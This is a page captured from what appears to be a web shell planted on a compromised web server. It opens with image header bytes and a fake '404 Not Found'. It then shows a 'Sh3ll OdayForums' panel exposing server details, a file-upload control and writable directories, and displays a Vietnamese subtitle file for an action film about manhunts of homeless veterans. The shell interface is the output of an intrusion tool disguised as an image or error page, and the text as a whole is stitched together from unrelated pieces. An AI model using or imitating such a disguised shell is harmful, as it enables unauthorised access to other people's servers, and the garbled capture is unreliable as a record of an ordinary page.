����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/vidoe.top/upload/subtitle/03-2019/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/vidoe.top/upload/subtitle/03-2019/5c82a391e6a62-1552065425.vtt
WEBVTT - https://subtitletools.com

00:01:09.194 --> 00:01:11.725
Làm ơn

00:01:35.050 --> 00:01:46.050
MỤC TIÊU KHÓ CHƠI

00:03:37.680 --> 00:03:39.670
Nếu đến kịp bờ sông hắn sẽ thắng,

00:03:39.901 --> 00:03:42.507
Ta không cho phép chuyện
đó xảy đến với ông Lopaki

00:05:16.780 --> 00:05:18.832
Làm ngụm Brandy chứ ?

00:05:24.733 --> 00:05:26.275
Hình như ma túy

00:05:28.905 --> 00:05:30.702
đã hạ gục hắn ta

00:05:37.221 --> 00:05:39.098
Có đáng tiền không ?

00:05:40.556 --> 00:05:42.622
- Mọi chuyện đều vừa ý tôi.
- Tốt.

00:06:40.736 --> 00:06:42.963
Vâng ?

00:06:42.971 --> 00:06:47.533
Xin chào, Tôi ...tìm Douglas Binder ?

00:06:47.643 --> 00:06:51.044
- Cô là bạn ông Binder ?
- Không, tôi là ...

00:06:51.180 --> 00:06:54.115
con gái ông ấy.

00:06:54.249 --> 00:06:58.652
Douglas là người dễ mến, có tư cách.

00:06:58.754 --> 00:07:03.191
Cha tôi không cho bà biết ông dọn đi sao ?

00:07:03.325 --> 00:07:06.692
Đi đâu không rõ cô bé ạ !

00:07:06.795 --> 00:07:09.889
Tôi có nói ông ấy cứ ở đây,

00:07:09.998 --> 00:07:13.661
- đợi khi đứng vững đã...
- Cha tôi bị tai nạn đúng không ?

00:07:13.769 --> 00:07:17.500
Ồ không, ông ấy mất việc

00:07:17.606 --> 00:07:19.699
Khi ông ấy đi,

00:07:19.808 --> 00:07:23.005
có để lại cái này

00:07:25.480 --> 00:07:28.472
và bảo tôi có thể giữ đến khi

00:07:28.617 --> 00:07:31.814
ông có tiền trở lại thuê nhà

00:07:35.824 --> 00:07:39.021
Bà nghĩ giờ cha tôi có thể ở đâu ?

00:07:39.127 --> 00:07:42.528
Cô hãy đến nhà thiện nguyện của các Sơ

00:07:42.631 --> 00:07:44.531
Hải quân hả ?

00:07:44.633 --> 00:07:46.863
Ah, Recon.

00:07:46.969 --> 00:07:49.767
- Tôi cũng từng phục vụ Hải quân
- Thật sao ?

00:07:49.872 --> 00:07:52.272
- uh.
- Ông có quen ông ấy không ?

00:07:52.374 --> 00:07:54.740
Anh ta thỉnh thoảng đến đây

00:07:54.843 --> 00:07:57.778
một người dễ mến đấy
Nếu gặp lại,

00:07:57.880 --> 00:08:00.849
tôi sẽ nhắn giùm là cô tìm ông ấy

00:08:00.983 --> 00:08:03.679
Ông biết cha tôi hiện ở đâu không ?

00:08:08.023 --> 00:08:11.424
Tôi e ba cô cũng như bọn tôi

00:08:11.526 --> 00:08:14.461
không xu dính túi

00:08:14.563 --> 00:08:16.463
Cô hiểu không?

00:08:46.929 --> 00:08:49.329
Đầu tóc thế nào, Chance ?

00:08:51.166 --> 00:08:53.066
tệ hại

00:08:53.168 --> 00:08:55.102
Dù sao cà phê còn có thể được

00:08:55.203 --> 00:08:58.730
- Cô vẫn phải trả tiền đấy.
- Tôi biết mà.

00:08:58.840 --> 00:09:01.240
Tiền của anh còn trong túi mà ?

00:09:03.211 --> 00:09:05.304
Lần trước tôi đã chơi với cô sao ?

00:09:05.414 --> 00:09:09.942
- phải, một cái đầu.
- đúng

00:09:32.975 --> 00:09:35.876
- Chào cô, cô có tiền lẻ không ?

00:09:35.978 --> 00:09:38.538
Cô à
hãy nói là cô có nhé

00:09:41.450 --> 00:09:44.977
- Cảm ơn.

00:10:05.307 --> 00:10:07.537
Chào bà Murray.

00:10:07.642 --> 00:10:10.770
Vâng tôi sẽ rất ngạc nhiên nếu như cha tôi
gửi thư cho bà

00:10:12.114 --> 00:10:15.914
Không à ? Không sao
Cảm ơn, tạm biệt !

00:10:30.499 --> 00:10:33.229
- Xin chào người đẹp
- Để tôi yên

00:10:33.335 --> 00:10:35.929
Đưa cái túi cho tao

00:10:36.038 --> 00:10:38.734
Giải trí một chút nha cưng ?

00:10:42.978 --> 00:10:45.412
Chúng mày vui quá nhỉ?

00:10:51.119 --> 00:10:55.021
Mày muốn chúng tao ban ân huệ không?

00:10:55.123 --> 00:10:59.389
Tao nghĩ cái đấy nên giành cho tụi bay đi.

00:10:59.494 --> 00:11:02.622
Không sao đâu

00:11:02.731 --> 00:11:05.598
Mày cút đi

00:11:08.203 --> 00:11:12.105
Giờ mày và bạn mày dẫn xác đi chỗ khác

00:11:12.240 --> 00:11:14.868
và tìm cái xe bus.

00:11:14.976 --> 00:11:17.570
Oh, thằng này khéo đùa nhỉ.

00:11:52.714 --> 00:11:55.148
Lại đây!

00:12:22.277 --> 00:12:25.110
Nhào vô, tới đây

00:12:40.061 --> 00:12:44.327
Cô biết không... Thật xấu hổ,
trước đây phố này rất đàng hoàng

00:12:48.436 --> 00:12:51.132
Lần sau nhớ cẩn thận hơn khi mang túi nhé.

00:13:18.667 --> 00:13:21.227
Thiếu cảnh sát, thành phố sẽ chết !

00:13:21.336 --> 00:13:23.304
Thiếu cảnh sát, thành phố sẽ chết !

00:13:23.438 --> 00:13:25.372
Thiếu cảnh sát, thành phố sẽ chết !

00:13:25.507 --> 00:13:27.407
Thiếu cảnh sát, thành phố sẽ chết !

00:13:27.509 --> 00:13:29.500
Thiếu cảnh sát, thành phố sẽ chết !

00:13:29.644 --> 00:13:32.704
Thiếu cảnh sát, thành phố sẽ chết !

00:13:32.814 --> 00:13:34.975
Cảnh sát đình công

00:13:35.083 --> 00:13:38.951
Nhanh lên nào
- Thiếu cảnh sát, thành phố sẽ chết!

00:13:39.054 --> 00:13:40.954
- Bao giờ thì cuộc đình công sẽ chấm dứt?
- Ta đi nào.

00:13:41.056 --> 00:13:44.025
Thiếu cảnh sát, thành phố sẽ chết

00:13:44.159 --> 00:13:46.252
Thiếu cảnh sát, thành phố sẽ chết

00:13:46.361 --> 00:13:48.591
Thiếu cảnh sát, thành phố sẽ chết

00:13:48.697 --> 00:13:51.257
Thiếu cảnh sát, thành phố sẽ chết

00:14:01.509 --> 00:14:03.909
Chúc mình sinh nhật mình vui vẻ

00:14:05.080 --> 00:14:06.980
Xin lỗi.

00:14:17.459 --> 00:14:21.896
- Tôi có thể giúp gì được cho cô?
- Tôi muốn tìm một người bị mất tích

00:14:22.030 --> 00:14:25.932
Tôi vừa trục 2 ca
Ngày mai cô đến được không ?

00:14:27.669 --> 00:14:32.072
Thôi được
Cô muốn gặp tôi ngay mà

00:14:32.207 --> 00:14:35.142
- Cho tôi tên của người mất tích ?
- Douglas Charles Binder.

00:14:37.279 --> 00:14:39.645
Quan hệ với người khai báo ?

00:14:39.748 --> 00:14:43.275
Con gái

00:14:43.418 --> 00:14:46.649
- Được rồi, cô có tấm hình nào không ?
- Mm-hmm.

00:14:52.360 --> 00:14:57.161
- Có tấm hình nào mới hơn không?
- Oh, rất tiếc

00:14:57.265 --> 00:15:00.792
Cô hiểu cho
Bố mẹ tôi ly dị 20 năm rồi.

00:15:00.935 --> 00:15:04.803
- Có địa chỉ không ?
- Tôi nghĩ cha tôi là người vô gia cư.

00:15:04.906 --> 00:15:06.771
Tôi không biết gì cả

00:15:06.875 --> 00:15:10.140
Cho đến khi tôi tìm đến đây.

00:15:10.245 --> 00:15:14.614
Cô à
Tôi không rõ cô muốn tôi làm gì giờ ?

00:15:14.716 --> 00:15:17.410
Tôi muốn cô ghi báo cáo mất tích của tôi

00:15:17.419 --> 00:15:19.717
Thông thường các báo cáo mất tích

00:15:19.821 --> 00:15:22.722
phải có ghi thông tin mất tích từ đâu

00:15:22.824 --> 00:15:25.384
Thôi được

00:15:25.527 --> 00:15:27.791
Nếu cô không muốn làm nhiệm vụ thanh tra

00:15:27.896 --> 00:15:30.456
Tôi cũng sẽ tìm được người khác bận rộn hơn

00:15:30.598 --> 00:15:32.532
Này

00:15:34.436 --> 00:15:38.167
Nếu muốn tìm bố thì hãy nghe lời tôi :
đến các nhà thiện nguyện

00:15:38.273 --> 00:15:41.071
hoặc hỏi nhà dưỡng lão

00:15:41.176 --> 00:15:43.508
hãy nhờ người nào quen vùng này đưa đi...

00:15:43.611 --> 00:15:46.045
nếu không cô sẽ gặp nhiều phiền toái đấy

00:15:48.416 --> 00:15:50.646
Dù sao cũng cảm ơn

00:16:37.232 --> 00:16:41.259
Tất cả hãy im lặng và nghe đây.

00:16:41.403 --> 00:16:44.861
Chúng tôi có 12 chỗ cho thủy thủ có năng lực hoặc cao hơn

00:16:45.006 --> 00:16:48.203
Khi tôi đọc tên các anh, hãy
đến văn phòng trình giấy tờ

00:16:48.309 --> 00:16:50.903
rồi lên tàu nhé

00:16:51.045 --> 00:16:54.606
Tôi đọc tên người đầu tiên
Gombas, Luigi. thủy thủ có kinh nghiệm

00:16:54.749 --> 00:16:58.412
- Có mặt
- Walker, Steven. Kỹ sư cấp 2.

00:17:00.688 --> 00:17:02.883
- Chào.
- Leslie, Francis R.

00:17:02.991 --> 00:17:06.427
- Chào anh, quán cà phê chỉ tôi đến tìm anh
- Seeler, D. Master.

00:17:06.561 --> 00:17:08.461
Tôi cần nói với anh một chuyện

00:17:08.563 --> 00:17:13.125
- Bây giờ không phải lúc
- Walters, Nichols D.

00:17:13.268 --> 00:17:14.667
- Yeah.
- Able Seaman.

00:17:14.769 --> 00:17:17.169
Hãy làm việc cho tôi?

00:17:17.272 --> 00:17:21.709
- Tôi sẽ trả anh $100 mỗi ngày
- Thứ ba Mate. Stevens, Frank G.

00:17:21.843 --> 00:17:25.779
- Công việc gì?
- $100 cũng đáng lắm chứ?

00:17:27.415 --> 00:17:29.542
thực sự là có đấy

00:17:29.684 --> 00:17:32.482
Đúng, đáng đấy

00:17:32.587 --> 00:17:36.148
Tôi rất cần anh giúp tìm người nhà

00:17:36.291 --> 00:17:38.657
Jales, Bill. Cook.

00:17:38.760 --> 00:17:42.594
Anh biết rõ thành phố này
và có thể tự lo liệu được

00:17:42.697 --> 00:17:47.327
Boudreaux, C. Able Seaman.

00:17:47.435 --> 00:17:50.268
Tôi cũng muốn giúp cô lắm

00:17:50.371 --> 00:17:53.636
Nhưng có lẽ tôi không còn thì giờ

00:17:53.741 --> 00:17:56.209
- Đó là cách rời khỏi thành phố

00:17:56.344 --> 00:17:58.244
Xin lỗi nhé.

00:18:04.319 --> 00:18:07.115
Chance.
Họ bảo anh

00:18:07.121 --> 00:18:09.189
gây rắc rối với Thuyền trưởng McDonald.

00:18:09.224 --> 00:18:12.682
- Chỉ là hiểu lầm thôi
- Được rồi

00:18:12.827 --> 00:18:16.194
Làm việc thì tránh rắc rối giùm tôi nhé

00:18:16.297 --> 00:18:20.131
Tôi sẽ cố gắng mà

00:18:20.235 --> 00:18:22.362
Khoan đã, đợi một chút

00:18:22.504 --> 00:18:24.802
Johnson nói sẽ phục hồi quyền lợi cho tôi

00:18:24.906 --> 00:18:27.534
với công ty chứ không phải Hiệp đoàn

00:18:27.642 --> 00:18:30.372
Cậu còn nợ ở đây

00:18:30.478 --> 00:18:34.005
- 217 đô
- Tôi sẽ trả khi đi chuyến này về

00:18:34.148 --> 00:18:37.709
không được. Không ai được
đi biển khi còn tiền nợ cả

00:18:37.852 --> 00:18:42.653
- Làm sao trả nợ nếu không có việc ?
- Đâu phải luật do tôi đặt ra

00:18:44.459 --> 00:18:48.225
Anh được quyền thanh toán trong vòng 1 tuần

00:18:48.329 --> 00:18:50.889
Nếu tôi có tiền ngay thì sao

00:18:51.032 --> 00:18:53.193
Thì tôi sẽ cho anh lên tàu ra khơi

00:18:55.036 --> 00:18:57.402
Tôi sẽ kiếm ra tiền

00:19:08.182 --> 00:19:10.912
Này lùi lại

00:19:11.019 --> 00:19:13.647
Đem lại đây nào

00:19:13.788 --> 00:19:15.688
Okay, hạ xuống

00:19:36.911 --> 00:19:40.779
Người cô cần tìm thiếu nợ cô hả ?

00:19:40.882 --> 00:19:45.717
- Ông ấy là cha tôi
- Thôi được tôi đổi ý rồi

00:19:45.820 --> 00:19:50.587
Tôi giúp cô 2 ngày, cô trả tôi 217$

00:19:50.692 --> 00:19:53.889
Đã thỏa thuận rồi nhé

00:19:53.995 --> 00:19:56.463
- Anh lái xe đi
- Tôi...

00:19:56.598 --> 00:19:59.499
không có bằng lái ô-tô thưa cô

00:20:01.369 --> 00:20:04.361
Anh tên gì?

00:20:04.505 --> 00:20:07.440
Chance Boudreaux.
Còn cô ?

00:20:07.542 --> 00:20:10.136
Nat.

00:20:10.278 --> 00:20:12.178
Nat?

00:20:12.280 --> 00:20:15.511
Bố mẹ đặt cho cô tên... ?

00:20:15.617 --> 00:20:18.484
Không đó là tên tắt của Natasha.

00:20:18.586 --> 00:20:20.850
Natasha.

00:20:20.955 --> 00:20:23.617
Còn tên anh là Chance?

00:20:23.725 --> 00:20:27.024
uh thì mẹ tôi đã có một lần.

00:20:29.731 --> 00:20:31.756
Sao cô lạc mất bố?

00:20:34.035 --> 00:20:38.495
Bố mẹ tôi ly dị khi tôi lên 7...

00:20:38.640 --> 00:20:41.040
và bố tôi đã ra đi.

00:20:44.045 --> 00:20:47.947
Chúng tôi vẫn viết thư
Thỉnh thoảng ông gọi điện thoại

00:20:48.049 --> 00:20:51.075
3 tuần trước thì không liên lạc lại được.

00:20:54.889 --> 00:20:57.824
Tôi có một người bạn ở đây
anh ấy có thể giúp chúng ta.

00:20:57.959 --> 00:21:01.451
Cô nhìn những người xếp hàng,
Tôi sẽ tìm bên trong

00:21:10.071 --> 00:21:14.201
Chance
Vẫn không có súp để ăn sao ?

00:21:14.308 --> 00:21:16.503
- Elijah. có chuyện gì thế ?
- Xin chào.

00:21:16.611 --> 00:21:18.511
Bánh nhân thịt ngày thứ tư

00:21:18.613 --> 00:21:20.945
họ gọi đó là bánh nhân thịt

00:21:21.049 --> 00:21:24.849
- Tôi tưởng anh tìm được việc trên tàu rồi
- Tôi bị mất thẻ xuống tàu.

00:21:28.089 --> 00:21:30.250
Tôi có cái này chỉ cho cô xem đây

00:21:30.358 --> 00:21:32.258
Hai người quen nhau sao?

00:21:32.360 --> 00:21:36.296
- Chúng tôi gặp nhau hôm qua
Ông thấy cha tôi rồi sao?
- Cũng gần như thế

00:21:36.431 --> 00:21:38.365
Hôm qua tôi trú tại
Plaza D'ltalia ...

00:21:38.466 --> 00:21:41.492
và thấy cái túi ngủ này trong một chiếc xe

00:21:41.636 --> 00:21:46.539
Đó là một chiếc túi vằn da hổ
loại thường cấp cho trinh sát.

00:21:46.641 --> 00:21:48.939
Cha cô có một cái y hệt như thế

00:21:50.611 --> 00:21:52.511
- Cảm ơn Charlie.
- Có gì đâu.

00:22:50.104 --> 00:22:52.629
Cô đừng khó chịu
Bố cô chỉ muốn kiếm tiền thôi.

00:22:52.774 --> 00:22:55.937
Phải
Chính tôi cũng phải làm

00:23:01.048 --> 00:23:02.948
Này phố Barracks

00:23:03.050 --> 00:23:07.612
Lần này cả 2 bên
Người kế tiếp

00:23:07.755 --> 00:23:11.521
Đây phố Decatur thấp hơn một nửa

00:23:12.994 --> 00:23:16.157
Này, anh bạn hiền Boudreaux.

00:23:16.264 --> 00:23:18.494
nghe nói anh đi tàu rồi mà

00:23:18.599 --> 00:23:21.295
Có lẽ tôi phải ở lại tranh chức thị trưởng.

00:23:21.402 --> 00:23:23.802
Chúng tôi tìm một người đang làm cho ông

00:23:23.905 --> 00:23:26.806
Đó là Douglas Binder.

00:23:26.908 --> 00:23:29.775
- Tôi chưa từng nghe tên anh ta
- Tôi nghĩ là ông ấy biết anh

00:23:29.877 --> 00:23:32.812
- Ông ấy có làm cho ông không?
- Cũng có thể có, cũng có thể không

00:23:32.947 --> 00:23:35.438
Tôi nhớ tên dở lắm

00:23:43.524 --> 00:23:45.583
Tôi có ảnh đây

00:23:49.130 --> 00:23:51.030
Điều gì làm cho Ông Poe nói là

00:23:51.132 --> 00:23:53.965
Tôi nhớ mặt dở lắm

00:23:54.068 --> 00:23:56.764
Đúng không?

00:23:58.406 --> 00:24:02.706
Chào, Randal.
Tôi không biết anh đang có khách

00:24:16.057 --> 00:24:18.855
Chúng ta chỉ còn cách trở về thôi

00:24:21.829 --> 00:24:26.664
- Chúng ta sẽ quay lại đó chứ
- Không phải lúc này và không nên đi cùng

00:24:26.767 --> 00:24:29.702
Rõ ràng Poe biết chuyện gì đó về cha tôi

00:24:29.804 --> 00:24:32.568
Nếu anh không muốn tôi sẽ lại đó một mình

00:24:32.673 --> 00:24:36.268
Nếu cô muốn tìm cha thì phải khéo hơn

00:24:36.410 --> 00:24:38.878
không nên cứng nhắc

00:24:39.013 --> 00:24:40.913
được

00:24:45.853 --> 00:24:48.151
- Cô là Natasha Binder?
- Có chuyện gì thế?

00:24:48.256 --> 00:24:50.816
Tôi rất tiếc phải báo một tin buồn

00:24:50.958 --> 00:24:52.892
Chúng tôi đã thấy xác cha cô

00:25:19.053 --> 00:25:20.953
Tôi rất tiếc

00:25:21.055 --> 00:25:24.855
- Họ đã làm nhận dạng
- Chuyện gì đã xảy ra?

00:25:24.959 --> 00:25:29.760
Tối qua có một vụ hỏa hoạn
ở một tòa nhà bỏ hoang

00:25:29.864 --> 00:25:33.061
Đội cứu hỏa thấy xác cha
cô trong một căn phòng

00:25:33.167 --> 00:25:35.567
Tôi muốn thấy ông ấy

00:25:35.670 --> 00:25:39.572
Ông ấy đã bị lửa đốt cháy đen

00:25:41.208 --> 00:25:43.972
Người ta phải nhận diện dấu răng...

00:25:44.078 --> 00:25:46.774
qua hồ sơ lưu

00:25:55.856 --> 00:25:58.791
Còn anh có liên quan gì đến ông ấy?

00:25:58.926 --> 00:26:01.258
Tôi giúp cô ấy tìm cha

00:26:30.725 --> 00:26:34.957
Dậy đi thằng mập!

00:26:44.805 --> 00:26:46.705
Oh, Chúa ơi!

00:26:46.807 --> 00:26:48.934
Ông Fouchon,
Có việc gì mà ông lại đến đây?

00:26:49.076 --> 00:26:52.307
- Aah! Oww!
- Đừng nói, Randal nghe đây

00:26:52.413 --> 00:26:54.313
Oh đừng lo Randal.

00:26:54.415 --> 00:26:56.849
- Aah!
- Hắn vẫn vểnh tai để nghe mà

00:26:56.951 --> 00:27:00.250
Khi Van Cleaf muốn gặp
khách hàng của mày hôm qua

00:27:00.354 --> 00:27:03.016
Mày không cho hắn biết...

00:27:03.124 --> 00:27:07.220
- về một trong những kẻ tình nguyện.
- Không có gì đâu ông Fouchon.

00:27:07.361 --> 00:27:09.352
Có chứ Randal.

00:27:22.543 --> 00:27:25.569
Người đàn ông mà hôm qua bọn tao đi săn

00:27:25.713 --> 00:27:28.546
sao mày không cho tao biết tên thật của nó?

00:27:28.649 --> 00:27:32.449
- Mẹ kiếp
- Binder. Binder. Douglas Binder.

00:27:32.553 --> 00:27:35.283
Đó không phải người tao chọn đúng không ?

00:27:35.389 --> 00:27:37.721
Tôi không tuyển được người mà ông yêu cầu

00:27:37.825 --> 00:27:41.693
Ông bảo cần cựu chiến binh nên tôi chọn Binder.

00:27:41.796 --> 00:27:45.823
- Hắn có nhiều huân chương hơn
- Hắn cũng có gia đình.
Giờ đây chúng đang đặt ra câu hỏi

00:27:45.966 --> 00:27:48.093
Làm ơn !
Tôi xin lỗi !
Tôi van ông mà ...

00:27:48.235 --> 00:27:51.966
- Tôi nói là tôi đã sai rồi
- Mày thật là bất cẩn Randal.

00:27:52.073 --> 00:27:54.200
Bất cẩn và ngu ngốc...

00:27:54.341 --> 00:27:56.366
rồi bây giờ mày lại nói xin lỗi.

00:27:56.510 --> 00:27:58.808
Hắn nói hắn...
hắn chỉ ở có một mình thôi.

00:27:58.913 --> 00:28:02.246
- Tôi đâu có ngờ hắn còn thân nhân. Thật đấy !
- Mày sai lầm phải không?

00:28:02.349 --> 00:28:04.146
- Mày muốn nói thế chứ gì?
- Yeah. Yeah.

00:28:04.251 --> 00:28:07.084
Và tao thấy mày lo lắng muốn sửa đúng không?

00:28:07.188 --> 00:28:10.214
Dạ, dạ phải ...
Dạ thưa ngài ...

00:28:10.357 --> 00:28:14.623
Chúng tao có một khách hàng khác
yêu cầu chọn một tay chơi mới

00:28:18.833 --> 00:28:22.136
Lần tới phải gửi đúng loại người tao cần

00:28:22.136 --> 00:28:26.129
Tôi sẽ làm thưa ông Fouchon,
Tôi thề. L...

00:28:27.608 --> 00:28:30.736
Tao nghĩ chúng ta đã hiểu ý nhau rồi

00:28:30.878 --> 00:28:34.541
- Có hay Không?
- Dạ có ạ.

00:28:34.682 --> 00:28:36.616
Randal.

00:28:36.717 --> 00:28:39.413
Tao sẽ quay lại đây

00:28:39.553 --> 00:28:41.453
để cắt thịt mày đấy

00:28:46.894 --> 00:28:48.794
Cô đã làm hết khả năng rồi

00:28:48.896 --> 00:28:51.330
Không tôi đến quá muộn ...

00:28:51.465 --> 00:28:54.957
Tôi muốn nói lạy Chúa
Cha tôi đã sống trong một chiếc xe đẩy hàng

00:28:55.102 --> 00:28:57.969
Khốn kiếp thật

00:28:58.072 --> 00:29:01.041
Tại sao cha tôi không nói với tôi ?

00:29:01.175 --> 00:29:03.735
Tại sao cha không cho tôi giúp đỡ?

00:29:03.878 --> 00:29:07.678
Tôi đã từng sống ở vỉa hè

00:29:07.781 --> 00:29:10.215
Khó lắm

00:29:10.351 --> 00:29:12.251
Khó mà rút chân ra khỏi đó

00:29:12.353 --> 00:29:14.321
put your hand out.

00:29:14.455 --> 00:29:17.253
Tôi cứ nghĩ phải chi mình còn có thể...

00:29:20.094 --> 00:29:22.995
nói với ông rằng là con yêu cha lắm

00:29:24.932 --> 00:29:28.424
Cha cô rất thương cô

00:29:28.569 --> 00:29:31.333
nên không muốn cô liên lụy

00:29:37.978 --> 00:29:39.878
- Anh bạn Boudreaux đây
- Mm-hmm.

00:29:41.348 --> 00:29:43.179
Ngôi sao bạc

00:29:43.284 --> 00:29:45.184
Trinh sát lực lượng Hải quân

00:29:45.286 --> 00:29:48.084
Hắn đã làm cho Merchant Service sau khi giải ngũ

00:29:48.189 --> 00:29:50.316
Thuyền trưởng của hắn buôn lậu ma túy

00:29:50.457 --> 00:29:54.120
Khi Boudreaux phát hiện ra,
hắn đã ném ông ta xuống biển

00:29:54.261 --> 00:29:56.695
Từ đó hắn kiếm việc làm ở khắp mọi nơi

00:29:56.830 --> 00:30:00.322
Rõ ràng ta không nên đánh giá thấp hắn

00:30:00.467 --> 00:30:03.664
Hắn lớn lên tại nhà chú hắn ở nhánh sông

00:30:03.804 --> 00:30:05.999
Tôi nghĩ Boudreaux...

00:30:06.140 --> 00:30:08.700
sẽ được làm một cuộc điều tra thú vị đây

00:30:10.344 --> 00:30:13.404
Tôi đến thăm hắn một chuyến nhé

00:30:13.547 --> 00:30:15.447
Không, không nên

00:30:15.549 --> 00:30:19.178
Cử vài thằng nhóc xuống tán gẫu với nó thôi

00:30:19.320 --> 00:30:21.220
Vâng

00:31:08.102 --> 00:31:10.093
Phải rồi

00:31:59.053 --> 00:32:01.021
Bingo.

00:32:34.188 --> 00:32:37.521
Tao khuyên mày Boudreaux:
Cút khỏi vùng này ngay!

00:32:37.624 --> 00:32:40.650
ngay hôm nay! và nói con bồ mày biến đi...

00:32:40.794 --> 00:32:43.661
trỏ vào vú trái nó
và bước lên bình gas!

00:32:51.438 --> 00:32:53.702
Gặp lại cô bao giờ cũng vui

00:32:53.807 --> 00:32:56.173
Ông Boudreaux, quả thật ông có biệt tài

00:32:56.276 --> 00:32:58.244
thu hút bạo lực

00:32:58.345 --> 00:33:00.745
Điều đó khiến tôi trở thành người xấu hả?

00:33:02.116 --> 00:33:04.016
Cô bắt tôi vì tội gì ?

00:33:04.118 --> 00:33:06.746
Không có bằng lái mà dám phóng nhanh à ?

00:33:06.854 --> 00:33:10.722
Cám ơn cô đã gọi cho tôi
Lạy Chúa trông anh thật đáng sợ

00:33:10.824 --> 00:33:13.190
Cô khiến tôi tổn thương

00:33:13.293 --> 00:33:15.727
Đây là giấy phạt:
Cố ý vượt rào của cảnh sát

00:33:15.829 --> 00:33:19.321
Việc đó được xem như là một tội xâm phạm

00:33:19.433 --> 00:33:22.596
Vâng, anh cảnh sát đó cũng
tử tế không nhắc tôi điều đó

00:33:22.703 --> 00:33:25.171
- Anh làm gì trong ngôi nhà đó ?
- Thẻ bài ...

00:33:25.272 --> 00:33:27.706
mà các người tìm thấy trong đống lửa đó?

00:33:27.808 --> 00:33:29.708
Đúng ra phải là 2 cái

00:33:29.810 --> 00:33:32.938
nên tôi trở lại chỗ ấy tìm cái còn lại.

00:33:34.681 --> 00:33:37.912
Cha cô không phải bị chết cháy đâu

00:33:39.520 --> 00:33:42.455
- ông ta đã bị sát hại
- Không hề có bằng chứng

00:33:42.556 --> 00:33:44.581
Giờ thì có rồi

00:33:46.693 --> 00:33:50.857
Cái lỗ trên tấm thẻ bài này
do một vật nhọn, cứng gây ra

00:33:50.964 --> 00:33:53.592
Tôi dám cá là nó được tạo ra...

00:33:53.700 --> 00:33:56.567
khi ông Binder còn sống

00:33:56.670 --> 00:34:00.197
Tại sao có người tìm rắc rối
với việc giết một kẻ vô gia cư ?

00:34:00.307 --> 00:34:04.243
- Cô tin chúng tôi chưa?
- Việc điều tra đang được tiến hành

00:34:04.344 --> 00:34:06.904
- Chậm lắm
- Nhưng vẫn đang tiến hành

00:34:10.150 --> 00:34:12.641
Tôi sẽ bắt dầu lại việc mổ tử thi

00:34:12.753 --> 00:34:14.653
Có thể có ích đấy

00:34:22.896 --> 00:34:26.297
- Anh phải đến chỗ bác sĩ
- Tôi ghét bọn bác sĩ.

00:34:59.600 --> 00:35:01.500
Yeah... Aah! mẹ kiếp!

00:35:01.602 --> 00:35:03.502
Mẹ kiếp

00:35:04.671 --> 00:35:08.107
Gì đấy ? bây giờ chưa được

00:35:17.417 --> 00:35:19.977
Đã từng tham gia cuộc chiến tranh Việt Nam?

00:35:20.087 --> 00:35:22.612
Vâng, cách đây đã lâu rồi

00:35:22.723 --> 00:35:24.816
Người kinh nghiệm như anh
lẽ ra phải kiếm khá lắm chứ...

00:35:30.063 --> 00:35:33.362
Ông sẽ trả tôi 100$ khi
điền vào phiếu này chứ

00:35:33.467 --> 00:35:36.334
Tôi sẽ trả nhiều hơn
nếu anh có kinh nghiệm

00:35:40.774 --> 00:35:43.334
kinh nghiệm về việc gì?

00:35:43.443 --> 00:35:45.536
Thôi, có lẽ anh không quan tâm đâu

00:35:45.646 --> 00:35:48.240
Không

00:35:48.348 --> 00:35:50.714
Tôi sẽ điền vào đơn mà

00:35:50.817 --> 00:35:53.513
Có gia đình gì không?
hôn nhân thế nào ?

00:35:53.620 --> 00:35:55.588
bạn bè, người thân chẳng hạn

00:35:55.689 --> 00:35:58.089
Tôi chả có ai thân thiết cả

00:36:15.776 --> 00:36:19.405
Ông ứng trước 500,000$
vào tài khoản của chúng tôi...

00:36:19.513 --> 00:36:21.413
ở Ngân Hàng
Cayman Islands.

00:36:21.515 --> 00:36:24.609
Không được nhắc đến
thỏa thuận qua telex...

00:36:24.718 --> 00:36:26.618
hay qua điện thoại

00:36:28.722 --> 00:36:31.623
Ông được cung cấp
tên những kẻ săn lùng...

00:36:31.725 --> 00:36:34.023
và vũ khí theo chọn lựa của ông

00:36:34.127 --> 00:36:36.493
Thông thường chúng tôi sẽ bố trí xác...

00:36:36.597 --> 00:36:41.034
và cấp cho ông chứng cứ
vắng mặt tại hiện trường

00:36:41.134 --> 00:36:45.002
Đừng lo ông Zenan,
ông chỉ việc nhắm bắn thôi.

00:36:53.347 --> 00:36:56.407
Ông Zenan đã chọn xong

00:36:56.516 --> 00:37:00.748
Một tên da đen tên là Roper.
từng tham gia lực lượng đặc biệt

00:37:00.854 --> 00:37:02.879
Tuyệt hảo

00:37:02.990 --> 00:37:05.424
Tôi không thắc mắc
về chọn lựa của ông

00:37:05.525 --> 00:37:08.050
Luôn luôn có đặc ân cho số ít ...

00:37:08.161 --> 00:37:10.061
để săn số nhiều

00:37:10.163 --> 00:37:14.497
Chiến binh, Cảnh sát,phi công chiến đấu

00:37:14.601 --> 00:37:17.434
Những kẻ giết người cho chính
phủ mà không hề bị trừng phạt

00:37:17.537 --> 00:37:19.630
Việc của chúng tôi giống thế
nhưng tạo cho các cơ hội,...

00:37:19.740 --> 00:37:22.004
cho dân thường như ông vậy

00:37:22.109 --> 00:37:26.409
- Những người đóng vai đối thủ, họ tình nguyện phải không?
- Ít hay nhiều

00:37:26.513 --> 00:37:29.277
Chính phủ tạo ra những kẻ sát
nhân trong sự bảo quản tốt nhất

00:37:29.383 --> 00:37:31.283
Họ huấn luyện các mục tiêu của chúng tôi

00:37:31.385 --> 00:37:34.616
Chúng tôi tự hào:
Chỉ săn những chiến binh

00:37:34.721 --> 00:37:36.746
bọn có nhiều kỹ năng cần thiết...

00:37:36.857 --> 00:37:40.486
- làm cho cuộc đi săn thêm thú vị.
- Còn cảnh sát?

00:37:40.594 --> 00:37:43.427
Tôi nghĩ họ cũng quan tâm nếu vụ việc bị phát giác

00:37:43.530 --> 00:37:45.964
Bác sĩ Morton sẽ giúp chúng ta...

00:37:46.066 --> 00:37:48.933
trong biên bản pháp y

00:37:49.036 --> 00:37:51.627
Không thể có bất trắc ở New Orleans này đâu.

00:37:51.638 --> 00:37:55.199
Năm rồi chúng tôi mở cuộc đi
